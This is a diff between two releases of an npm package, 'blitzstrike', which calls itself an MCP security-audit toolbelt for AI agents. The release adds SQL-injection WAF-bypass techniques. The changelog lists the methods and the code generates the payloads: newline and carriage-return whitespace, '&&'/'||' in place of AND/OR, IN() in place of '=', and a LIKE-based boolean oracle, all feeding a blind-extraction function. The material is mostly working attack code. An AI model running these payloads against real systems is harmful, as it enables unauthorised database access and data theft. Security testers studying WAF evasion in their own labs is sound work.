blitzstrike 2.4.165 → 2.4.166

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -5,6 +5,21 @@ All notable changes to Blitz Strike are documented here.
5
5
  The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/).
7
7
 
8
+ ## [2.4.166] — 2026-10-11
9
+
10
+ ### Added — expanded WAF-bypass techniques (sqlmap + PayloadsAllTheThings)
11
+
12
+ - New bypass dimensions beyond space/comment/case, sourced from sqlmap's 66 tamper
13
+ scripts + PayloadsAllTheThings/OWASP:
14
+ - Whitespace: LF `%0A` + CR `%0D` (MySQL 5 accepts 09/0A/0B/0C/0D/A0/20).
15
+ - symbolic-logical: `AND`→`&&`, `OR`→`||` (bypasses case-insensitive keyword filters).
16
+ - equaltolike: `=`→`IN ('x')` — exact, no `LIKE` wildcard (`_`/`%`) false-positives
17
+ and no `AND` keyword (BETWEEN would collide with `&&`).
18
+ - LIKE-based boolean oracle (`'a' LIKE 'a` vs `'a' LIKE 'b`) for `=`-filtered targets.
19
+ - Combined variants for stacked WAFs (e.g. LF + `&&` + `IN` + `#` comment).
20
+ - Verified on a new lab level 6 (blocks space+tab+`/* */`+`=`+`and`/`or`
21
+ case-insensitively): confirm + extract version/database/user/flag all correct.
22
+
8
23
  ## [2.4.165] — 2026-10-11
9
24
 
10
25
  ### Added — combined WAF-bypass for stacked filters (blind SQLi)
package/dist/index.js CHANGED
@@ -62472,13 +62472,17 @@ function oracleBypassVariants(base) {
62472
62472
  const dash = body;
62473
62473
  const hash = body.replace(/-- -$/, "#").replace(/--$/, "#");
62474
62474
  const bal = body.replace(/(\d)=(\d)-- -/, "'$1'='$2");
62475
+ const likeBool = body.replace(/(\d)=(\d)-- -/, (_, a, b) => a === b ? "'a' LIKE 'a" : "'a' LIKE 'b");
62475
62476
  const cs = (s) => s.replace(/AND/g, "aNd").replace(/OR/g, "oR").replace(/IF/g, "iF").replace(/SLEEP/g, "sLeEp");
62477
+ const sym = (s) => s.replace(/AND/g, "&&").replace(/OR/g, "||");
62476
62478
  const sp = (s, x) => x === " " ? s : s.replace(/ /g, x);
62477
62479
  const out = [];
62478
- for (const cmt of [dash, hash, bal]) {
62479
- for (const x of [" ", "/**/", "\t"]) {
62480
+ for (const cmt of [dash, hash, bal, likeBool]) {
62481
+ for (const x of [" ", "/**/", "\t", `
62482
+ `, "\r"]) {
62480
62483
  out.push(`'${sp(cmt, x)}`);
62481
62484
  out.push(`'${sp(cs(cmt), x)}`);
62485
+ out.push(`'${sp(sym(cmt), x)}`);
62482
62486
  }
62483
62487
  }
62484
62488
  out.push(`"${dash}`, dash, `')${dash}`, `")${dash}`, `"${hash}`, `')${hash}`, `")${hash}`);
@@ -62494,26 +62498,45 @@ function extractBypassVariants(tpl) {
62494
62498
  const dash = base;
62495
62499
  const hash = base.replace(/-- -$/, "#").replace(/--$/, "#");
62496
62500
  const bal = base.replace(/'(-- -|--)$/, "");
62501
+ const like = base.replace(/='\{char\}'/, "IN ('{char}')");
62502
+ const likeHash = like.replace(/-- -$/, "#").replace(/--$/, "#");
62497
62503
  const combos = [
62498
- [dash, " ", false],
62499
- [hash, " ", false],
62500
- [dash, "/**/", false],
62501
- [dash, " ", true],
62502
- [bal, " ", false],
62503
- [hash, "/**/", false],
62504
- [hash, "/**/", true],
62505
- [hash, "\t", true],
62506
- [bal, "\t", true],
62507
- [bal, "/**/", true]
62504
+ [dash, " ", "none"],
62505
+ [hash, " ", "none"],
62506
+ [dash, "/**/", "none"],
62507
+ [dash, " ", "case"],
62508
+ [bal, " ", "none"],
62509
+ [hash, "/**/", "none"],
62510
+ [hash, "/**/", "case"],
62511
+ [hash, "\t", "case"],
62512
+ [bal, "\t", "case"],
62513
+ [bal, "/**/", "case"],
62514
+ [dash, `
62515
+ `, "none"],
62516
+ [hash, `
62517
+ `, "case"],
62518
+ [bal, `
62519
+ `, "case"],
62520
+ [dash, " ", "sym"],
62521
+ [like, " ", "none"],
62522
+ [like, "/**/", "none"],
62523
+ [likeHash, `
62524
+ `, "sym"],
62525
+ [likeHash, "\t", "sym"],
62526
+ [like, `
62527
+ `, "sym"],
62528
+ [likeHash, " ", "sym"]
62508
62529
  ];
62509
- for (const [cmt, s, swap] of combos) {
62530
+ for (const [cmt, s, mode] of combos) {
62510
62531
  let b = cmt;
62511
- if (swap)
62532
+ if (mode === "case")
62512
62533
  b = b.replace(fn, fns[1]).replace(/AND/g, "aNd");
62534
+ else if (mode === "sym")
62535
+ b = b.replace(/AND/g, "&&").replace(/OR/g, "||");
62513
62536
  if (s === "/**/")
62514
62537
  b = b.replace(/ /g, "/**/");
62515
- else if (s === "\t")
62516
- b = b.replace(/ /g, "\t");
62538
+ else if (s !== " ")
62539
+ b = b.replace(/ /g, s);
62517
62540
  out.push(b);
62518
62541
  }
62519
62542
  }
@@ -62695,7 +62718,9 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
62695
62718
  const bsCharset = caseInsensitive ? "0123456789abcdefghijklmnopqrstuvwxyz" : "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
62696
62719
  const baseTpl = (channel === "time" ? p.extraction.time : p.extraction.boolean).replace(/^'/, ctx);
62697
62720
  const render = (tpl, pos, ch) => {
62698
- const spaceStyle = tpl.includes("\t") ? "\t" : tpl.includes("/**/") ? "/**/" : " ";
62721
+ const spaceStyle = tpl.includes("\t") ? "\t" : tpl.includes(`
62722
+ `) ? `
62723
+ ` : tpl.includes("\r") ? "\r" : tpl.includes("/**/") ? "/**/" : " ";
62699
62724
  const q = spaceStyle === " " ? queryExpr : queryExpr.replace(/ /g, spaceStyle);
62700
62725
  return `${value}${tpl.replace(/\{query\}/g, q).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
62701
62726
  };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "blitzstrike",
3
- "version": "2.4.165",
3
+ "version": "2.4.166",
4
4
  "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
5
5
  "type": "module",
6
6
  "bin": {